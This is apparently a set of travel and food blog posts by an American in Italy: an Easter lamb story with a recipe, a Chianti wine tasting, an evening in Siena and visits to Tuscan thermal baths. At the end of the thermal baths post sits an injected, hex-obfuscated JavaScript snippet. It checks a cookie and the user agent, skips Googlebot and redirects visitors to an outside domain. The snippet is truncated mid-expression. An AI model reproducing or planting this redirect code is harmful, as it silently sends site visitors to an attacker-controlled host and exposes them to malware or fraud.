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Inter-cultural faux pas of the day: I think I offended my butcher by not accepting the lamb’s head he wanted to give me for free when I went to pick up my meat for Easter.

When it was my turn at the counter, he proudly presented me with the disembodied head (well, half a head, sliced vertically) and gave me a huge smile.

“I’ll put this in for free,” he said, searching my face for a sign of appreciation. Instead he found my mouth gaping in horror. Once I got over my initial reaction, I tried to compose myself.

“Oh thank you, but …um …I’m American and …uhhh …we usually don’t eat …those …parts.” The whole time my eyes are darting around the shop, trying to avoid eye-contact with the poor little half a lamb staring up at me. The woman next in line glared at me jealously.

“What about your husband? Won’t he like it?” the butcher asked, confused by my reaction.

In an attempt to not make my hubs sound like a total wuss, I replied, “Well he was brought up abroad, in cultures that don’t eat heads either.” Lame response, but I had to give some explanation for not accepting my butcher’s generosity.

This is one thing that took me a while to get used to in Italian culture and food: the head. Restaurants will serve you a whole fish, who then watches you from the plate as you eat him. Supermarkets sometimes only sell fresh shrimp whole, forcing you to tediously pluck the heads and legs off of each one if you want to make scampi. There are even cured meats that contain parts of pig head (ever heard of coppa? It’s good…)

But the lamb’s head at Easter dinner is especially coveted.

A couple years ago I was at my boyfriend’s (now ex) house for Easter. The whole family was there: parents, siblings, nieces, nephews, and grandparents. I was seated across the table from the old Sicilian grandmother, widowed years ago and who wore only black. She was deaf as a post, and wore those thick old-lady glasses that gave her googly eyes.

Seeing as how I was unable to communicate with her properly, I was engaged in conversation with my boyfriend’s sister sitting next to me. While chatting, I unintentionally served myself the lamb’s head, which I didn’t notice until I turned my attention to my plate and stuck my fork in its cheek. I was mortified. I didn’t want to make a scene or offend my hosts by putting it back, so I leaned over to my boyfriend and quietly asked him to remove the meat from my plate. He was equally disgusted, and therefore offered no help.

Suddenly, the old Sicilian grandma, who was so short she barely cleared the table, reached over and stuck her fork in the lamb’s eye. Without saying a word she took the head and plopped it on her own plate. With a satisfied smile, she continued to enjoy her Easter lunch.

Here’s the recipe for my super simple Easter lamb:

Ingredients:

Leg of lamb, butterflied

Olive oil

Salt

Pepper

Garlic

Rosemary

Thyme

Have your butcher butterfly the leg for you, so it’s just about cut up in pieces but still attached. The day before you plan on cooking it, smother it with olive oil, stick whole cloves of garlic in each slice, and sprinkle with pepper, thyme and rosemary. Cover and put it in the fridge overnight.

When ready to cook, preheat oven at 180°C (or 360°F). When oven is hot, put in the lamb, covered with aluminum foil. After 30 minutes, remove cover and cook for another 15 minutes.

Salt to taste and serve! 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Tuscany’s outdoor thermal baths

(Post #3 in the series of Two Days in Tuscany. See Posts 1 and 2)

We woke up early the next morning and got right on the road to begin our search for some natural thermal baths (the reason why we came). From Siena, we took to E78 south until we hit the Terme di Petriolo.

This was the warmest natural spring I had been in to date. Located along the Merse river (pictured) the water flows down the rocks, pooling in individual-sized tubs before cascading into the larger area below. The small baths higher up are literally hotter than bathwater (I couldn’t even get in) while the large pool is at a comfortable temperature. Like in a spa, visitors sit on the rocks that separate the bath from the river and dip their feet between the hot and frigid waters — which is said to be good for circulation.

Like at all of these free, outdoor spas, be prepared to change in your car or out in the street …and bring sandals!

After about an hour at Petriolo, we piled back into the car to search for another spot I had read about: the Bagni di San Filippo. We continued heading south on the E78 before turning east towards Mount Amiata where I had read these baths were located. At this point our stomachs began to grumble, so we stopped at one of the many farms along the road for lunch.

Back on the road, we made our way to San Filippo which is located off the SP61 (the easier way to find it is by taking the SR2). He we had to park the car and follow an unmarked path through the woods along a small river to find it.

It was very beautiful: The white mineral deposits clinging to the rock looked like a mountain of snow melting into the sky-blue pools below. Despite the posted signs that advised against climbing, a couple bathers were lounging in the one or two small pools located halfway up the light-flowing waterfall.

The pools below were lukewarm, but the frogs, tadpoles and snakes in the water made it uninviting. We decided to skip the dip and head back to Rome instead.

If you missed the earlier post about hot springs, check out Tuscany’s most famous outdoor thermal bath: Saturnia.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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Sightseeing in Siena

So picking up from where we left off in my previous post

The Mister and I drove for about an hour through the scenic Chianti Classico region until we hit Siena. This medieval city is famous for the twice yearly Palio — a bareback horserace held in the main piazza. I, however, am more attracted to the relics on Saint Catherine. Keep reading for details.

Before heading into the city, we checked into the Castello di Monteliscai where we would be staying for the night. Located about a five-minute drive from Siena’s city walls, this was once a castle — now turned into rooms and apartments that can accommodate up to six people. The owners also run the nearby Agriturismo Malafrasca, a small B&B and farm that produces its own wine and olive oil.

After checking in we drove to Siena’s city walls, where we parked and then took about six escalators up to reach the hilltop city. It was getting late in the day, so we hustled over to the Basilica of San Domenico to get in before it closed. This church houses the head and one finger of Saint Catherine of Siena among other relics (her body is in Rome, and her foot is in Venice…poor Saint Catherine)!

We were promptly kicked out of the church as it was closing time, but spent the rest of the evening wandering around the city, passing by Saint Catherine’s house, the white-and-green striped duomo, and ending up in the shell-shaped Piazza del Campo. Here, we sat at one of the many cafès that run along the edge of the piazza and had a glass of Brunello — a red wine containing 100% Sangiovese grapes. This is one of my favorite Italian pastimes: sitting in a piazza with a glass of wine or aperitivo and people-watching.

View from our table in Piazza del Campo

In the US we call it cocktail hour, but it Italy it goes beyond that. Anywhere between 6pm and 9pm, Italians gather at outdoor cafès or down at their local bar for a pre-dinner drink and socializing. The drink can be a glass of wine, prosecco, Campari soda, Martini bianco, or even a stronger cocktail. In the past few years, the spritz has become popular outside of its original northern region: prosecco mixed with a bitter liqueur. Most places offer finger-food to accompany your beverage. But different from just a normal pre-meal thirst quencher, it’s an opportunity to see and be seen. Especially when sitting outdoors, nearly all parties are facing outwards as the children who play with a soccer ball in the piazza become to focus of everyone’s attention. It’s a time to be lazy, to wind down after a long day and plan your next move.

Our next moves were obvious: food and sleep. We had been on the road all day and were starting to get tired. Due to the fact that it’s such a major tourist attraction, finding a good meal in Siena can be difficult if you’re an outsider (well, eating badly in Italy is nearly impossible, but we prefer eateries that don’t cater to tourists). Luckily, the owners of our “castle” had given us a suggestion in the next town over. We, headed out to the Vecchia Osteria just north of the city on the SP408, where I had the best lamb of my life! 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Cruising through Chianti

The hubs and I finally got two consecutive days off so — as mentioned in my previous post — we took a trip to Tuscany.

Leaving from Rome at 7am, we took the A1 north towards Florence and got off at the exit Incisia. From there, we took a secondary road (SP16) to Greve in Chianti, right in the heart of the region famed for its lush rolling hills covered by Sangiovese vineyards.

It is here that Chianti Classico wine is produced. Different from the other types of Chianti, a bottle of Chianti Classico contains a minimum of 80% of the Sangiovese grape (for more info on Chianti Classico, including places to stay or wine-taste, click HERE).

After the long drive, we were ready to decompress. We headed up to Montefioralle, a small village with beautiful views of the surrounding countryside. Is was here that I had made an appointment to do some wine-tasting with a local winery, Azienda Agricola Montefioralle.

The owner, Fernando, met us at the main parking area (which accommodates about eight cars). We took a short stroll through the town until we reached his vineyard on the outskirts. The three of us sat out at a picnic table and began tasting a selection of about six of Montefioralle’s Chianti Classico from various years. Fernando had also prepared a small plate of fresh breads topped with local meats — too keep the wine from getting to our heads. There, with views of Montefioralle and rows of vineyards, Fernando told us everything there is to know about the growing, harvesting and ageing of his wine.

He told us that his particular winery only produces about 3,000 bottles a year. 1,000 are consumed by his extended family, while the other 2,000 are sold directly to the consumer. That’s one of the many charming things about Italy: there are so many small, family-run wineries that many people are personally acquainted with their wine producer (the same goes for other kinds of farmers as well). Instead of buying from the big, commercial brands found in the supermarket, I know a number of households that prefer to purchase their favorite beverage directly from the small winery — surely produced with more love and care.

Along with the Chianti Classico, we also tried some Vin Santo: a sweet dessert wine made from raisins. If you order Vin Santo in a restaurant, it is often accompanied by homemade cookies meant for dipping into the wine …one of my favorite ways to end a good meal!

After we finished our tasting, he took us to the small cellar and then back to the town center where we said our good-byes. There was a small restaurant emitting enticing smells of grilled meat, so we popping in for a quick lunch.

Back on the road again: We followed the SR222 or Via Chiantigiana south. This road runs through some of the most beautiful landscapes in Tuscany, and takes you right into Siena.

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